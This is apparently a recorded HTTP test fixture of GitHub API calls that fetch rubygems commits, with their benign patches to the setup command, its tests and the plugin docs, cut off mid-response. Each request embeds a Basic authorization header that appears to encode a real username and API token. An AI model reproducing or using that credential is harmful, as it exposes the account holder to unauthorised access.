X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042982' X-Github-Request-Id: - A210:4D95:F47C67:1C833C4:5A50E466 body: encoding: ASCII-8BIT string: '{"sha":"371622c7609ee3b88359fe4b43f5991569f435bc","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T20:23:49Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-27T01:53:44Z"},"message":"Remove multi load warning from plugins documentation\n\n Since c0312450, a RubyGems plugin is now only loaded from the latest\ninstalled gem. It was released in version 2.1.0.","tree":{"sha":"c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/371622c7609ee3b88359fe4b43f5991569f435bc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc","html_url":"https://github.com/rubygems/rubygems/commit/371622c7609ee3b88359fe4b43f5991569f435bc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}],"stats":{"total":4,"additions":1,"deletions":3},"files":[{"sha":"4201205c68800ee1311ea3c75d801c185a835a8b","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/371622c7609ee3b88359fe4b43f5991569f435bc/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/371622c7609ee3b88359fe4b43f5991569f435bc/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=371622c7609ee3b88359fe4b43f5991569f435bc","patch":"@@ -47,9 +47,7 @@ module Gem\n # As of RubyGems 1.3.2, RubyGems will load plugins installed in gems or\n # $LOAD_PATH. Plugins must be named ''rubygems_plugin'' (.rb, .so, etc) and\n # placed at the root of your gem''s #require_path. Plugins are discovered via\n-# Gem::find_files and then loaded. Take care when implementing a plugin as your\n-# plugin file may be loaded multiple times if multiple versions of your gem\n-# are installed.\n+# Gem::find_files and then loaded.\n #\n # For an example plugin, see the {Graph gem}[https://github.com/seattlerb/graph]\n # which adds a `gem graph` command."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:50 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4526' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"87b2f021b94c19f93b9a092d90f6cab2" Last-Modified: - Sat, 25 Nov 2017 17:19:47 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.250674' X-Github-Request-Id: - A212:4D96:971588:13A35D8:5A50E466 body: encoding: ASCII-8BIT string: '{"sha":"4619f13a33642b132ebcc4e82772d89b4bcff0d3","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T02:44:10Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T17:19:47Z"},"message":"Fix setup command --regenerate-binstubs option flag\n\n `--[no-]regenerate-binstubs'' option flag was added in 909b5fb8 but is\nnot used yet. This change tests if the option was set before calling\nGem::Commands::SetupCommand#regenerate_binstubs.\n\n We also simplify how the option is set, since it''s more similar to\n`format_executable'' for example (simple option flag), rather than\n`document'' where we use the same hash key for multiple options. This way\nwe can just test the value being either true or false, instead of\ntesting key presence (`Hash#key?'') or relying on `nil'' being returned\nfor nonexistent hash keys with `Hash#[]''.","tree":{"sha":"57cb7b988a9098610e6ec0a89ba972e9e23a73c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/57cb7b988a9098610e6ec0a89ba972e9e23a73c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","html_url":"https://github.com/rubygems/rubygems/commit/4619f13a33642b132ebcc4e82772d89b4bcff0d3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac7d289670551d2ddcfea82ae482daaea2b4e938","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","html_url":"https://github.com/rubygems/rubygems/commit/ac7d289670551d2ddcfea82ae482daaea2b4e938"}],"stats":{"total":21,"additions":15,"deletions":6},"files":[{"sha":"e27dfcce752af5c91ca0e672adb286b0a7683a81","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":6,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/4619f13a33642b132ebcc4e82772d89b4bcff0d3/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4619f13a33642b132ebcc4e82772d89b4bcff0d3/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=4619f13a33642b132ebcc4e82772d89b4bcff0d3","patch":"@@ -82,11 +82,7 @@ def initialize\n \n add_option ''--[no-]regenerate-binstubs'',\n ''Regenerate gem binstubs'' do |value, options|\n- if value then\n- options[:regenerate_binstubs] = true\n- else\n- options.delete(:regenerate_binstubs)\n- end\n+ options[:regenerate_binstubs] = value\n end\n \n @verbose = nil\n@@ -156,7 +152,7 @@ def execute\n \n say \"RubyGems #{Gem::VERSION} installed\"\n \n- regenerate_binstubs\n+ regenerate_binstubs if options[:regenerate_binstubs]\n \n uninstall_old_gemcutter\n "},{"sha":"433b60df168eb7b03b505184dc2cecdc56af4ac9","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":13,"deletions":0,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/4619f13a33642b132ebcc4e82772d89b4bcff0d3/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4619f13a33642b132ebcc4e82772d89b4bcff0d3/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=4619f13a33642b132ebcc4e82772d89b4bcff0d3","patch":"@@ -77,6 +77,19 @@ def test_execute_regenerate_binstubs\n assert_match %r{\\A#!}, File.read(gem_bin_path)\n end\n \n+ def test_execute_no_regenerate_binstubs\n+ gem_bin_path = gem_install ''a''\n+ write_file gem_bin_path do |io|\n+ io.puts ''I changed it!''\n+ end\n+\n+ @cmd.options[:document] = []\n+ @cmd.options[:regenerate_binstubs] = false\n+ @cmd.execute\n+\n+ assert_equal \"I changed it!\\n\", File.read(gem_bin_path)\n+ end\n+\n def test_pem_files_in\n assert_equal %w[rubygems/ssl_certs/rubygems.org/foo.pem],\n @cmd.pem_files_in(''lib'').sort"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:50 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4525' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a527160c68635f8c703b40d9a67031a4" Last-Modified: - Sat, 25 Nov 2017 17:19:38 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042462' X-Github-Request-Id: - A214:4D95:F47C87:1C833F7:5A50E466 body: encoding: ASCII-8BIT string: '{"sha":"ac7d289670551d2ddcfea82ae482daaea2b4e938","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T02:35:52Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T17:19:38Z"},"message":"Test setup command binstubs regeneration\n\n Since 909b5fb8, executable wrappers are regenerated using pristine\ncommand if any gem are installed. New test is inspired by those for\nGem::Commands::PristineCommand.","tree":{"sha":"9f557a2b26ce18297a9eff0406e31edd99f1db59","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9f557a2b26ce18297a9eff0406e31edd99f1db59"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938","html_url":"https://github.com/rubygems/rubygems/commit/ac7d289670551d2ddcfea82ae482daaea2b4e938","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac7d289670551d2ddcfea82ae482daaea2b4e938/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}],"stats":{"total":24,"additions":24,"deletions":0},"files":[{"sha":"90861a74f7c83fc6e5c9c0536ffb48ebefd780c2","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":24,"deletions":0,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/ac7d289670551d2ddcfea82ae482daaea2b4e938/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ac7d289670551d2ddcfea82ae482daaea2b4e938/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=ac7d289670551d2ddcfea82ae482daaea2b4e938","patch":"@@ -53,6 +53,30 @@ def setup\n FileUtils.mkdir_p ''default/gems/bundler-audit-1.0.0''\n end\n \n+ def gem_install name\n+ gem = util_spec name do |s|\n+ s.executables = [name]\n+ s.files = %W[bin/#{name}]\n+ end\n+ write_file File.join @tempdir, ''bin'', name do |f|\n+ f.puts ''#!/usr/bin/ruby''\n+ end\n+ install_gem gem\n+ File.join @gemhome, ''bin'', name\n+ end\n+\n+ def test_execute_regenerate_binstubs\n+ gem_bin_path = gem_install ''a''\n+ write_file gem_bin_path do |io|\n+ io.puts ''I changed it!''\n+ end\n+\n+ @cmd.options[:document] = []\n+ @cmd.execute\n+\n+ assert_match %r{\\A#!}, File.read(gem_bin_path)\n+ end\n+\n def test_pem_files_in\n assert_equal %w[rubygems/ssl_certs/rubygems.org/foo.pem],\n @cmd.pem_files_in(''lib'').sort"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:50 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4524' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fd589cd0ca7d879700083ab2ca5316ad" Last-Modified: - Sat, 25 Nov 2017 15:30:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044892' X-Github-Request-Id: - C4E6:4D97:903606:1C4719E:5A50E466 body: encoding: ASCII-8BIT string: '{"sha":"4a045965772dad721de67d67a7c477a690110eba","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T15:30:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T15:30:12Z"},"message":"Auto merge of #2098 - tjouan:test-command-common_options-mutation_workaround, r=segiddins\n\nWorkaround common options mutation in Gem::Command test\n\n We need to restore common options if we want to execute commands using\nsuch options in other tests. For example, if a test runs a command with\n`--silent` option, we get this kind of error:\n\n OptionParser::InvalidOption: invalid option: --silent","tree":{"sha":"d1edb62fd02832bfe31aa15bfd06d1246b660252","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1edb62fd02832bfe31aa15bfd06d1246b660252"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4a045965772dad721de67d67a7c477a690110eba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"afbae04038d3d1d1ed8988c703314c81f7fb651e","url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","html_url":"https://github.com/rubygems/rubygems/commit/afbae04038d3d1d1ed8988c703314c81f7fb651e"},{"sha":"a1336fa534c15f11f55da7d6b042b823d1526131","url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131","html_url":"https://github.com/rubygems/rubygems/commit/a1336fa534c15f11f55da7d6b042b823d1526131"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"4442c6108ea8313efcb3dc64a780675e0c40557d","filename":"test/rubygems/test_gem_command.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/4a045965772dad721de67d67a7c477a690110eba/test/rubygems/test_gem_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4a045965772dad721de67d67a7c477a690110eba/test/rubygems/test_gem_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_command.rb?ref=4a045965772dad721de67d67a7c477a690110eba","patch":"@@ -13,6 +13,7 @@ def setup\n \n @xopt = nil\n \n+ @common_options = Gem::Command.common_options.dup\n Gem::Command.common_options.clear\n Gem::Command.common_options << [\n [''-x'', ''--exe'', ''Execute''], lambda do |*a|\n@@ -24,6 +25,11 @@ def setup\n @cmd = Gem::Command.new @cmd_name, ''summary''\n end\n \n+ def teardown\n+ super\n+ Gem::Command.common_options.replace @common_options\n+ end\n+\n def test_self_add_specific_extra_args\n added_args = %w[--all]\n @cmd.add_option ''--all'' do |v,o| end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:51 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4523' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"63dc6aed6f257f9031ebd337f8fda605" Last-Modified: - Sat, 25 Nov 2017 14:58:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042037' X-Github-Request-Id: - C4E8:4D95:F47C97:1C83417:5A50E467 body: encoding: ASCII-8BIT string: '{"sha":"afbae04038d3d1d1ed8988c703314c81f7fb651e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T14:58:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-25T14:58:19Z"},"message":"Auto merge of #2102 - olleolleolle:fix/2100-fix-only, r=segiddins\n\nCall SPDX.org using HTTPS\n\nThis PR **updates the URL** to the web site which hosts all the **SPDX license definitions,** in the script which creates the Ruby file with the license names.\n\n- fix bug\n- re-generate `licenses.rb`\n\n(This is #2100 without additional edits.)","tree":{"sha":"ab972648eaeb9fd8b69a5b4dca00e476580fca9c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab972648eaeb9fd8b69a5b4dca00e476580fca9c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e","html_url":"https://github.com/rubygems/rubygems/commit/afbae04038d3d1d1ed8988c703314c81f7fb651e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/afbae04038d3d1d1ed8988c703314c81f7fb651e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"},{"sha":"f099938f80f85a7238b55c6694e5547d82a5049e","url":"https://api.github.com/repos/rubygems/rubygems/commits/f099938f80f85a7238b55c6694e5547d82a5049e","html_url":"https://github.com/rubygems/rubygems/commit/f099938f80f85a7238b55c6694e5547d82a5049e"}],"stats":{"total":40,"additions":39,"deletions":1},"files":[{"sha":"96fed282f1a412125f0a4312221e5ddec4dae4d2","filename":"lib/rubygems/util/licenses.rb","status":"modified","additions":37,"deletions":0,"changes":37,"blob_url":"https://github.com/rubygems/rubygems/blob/afbae0403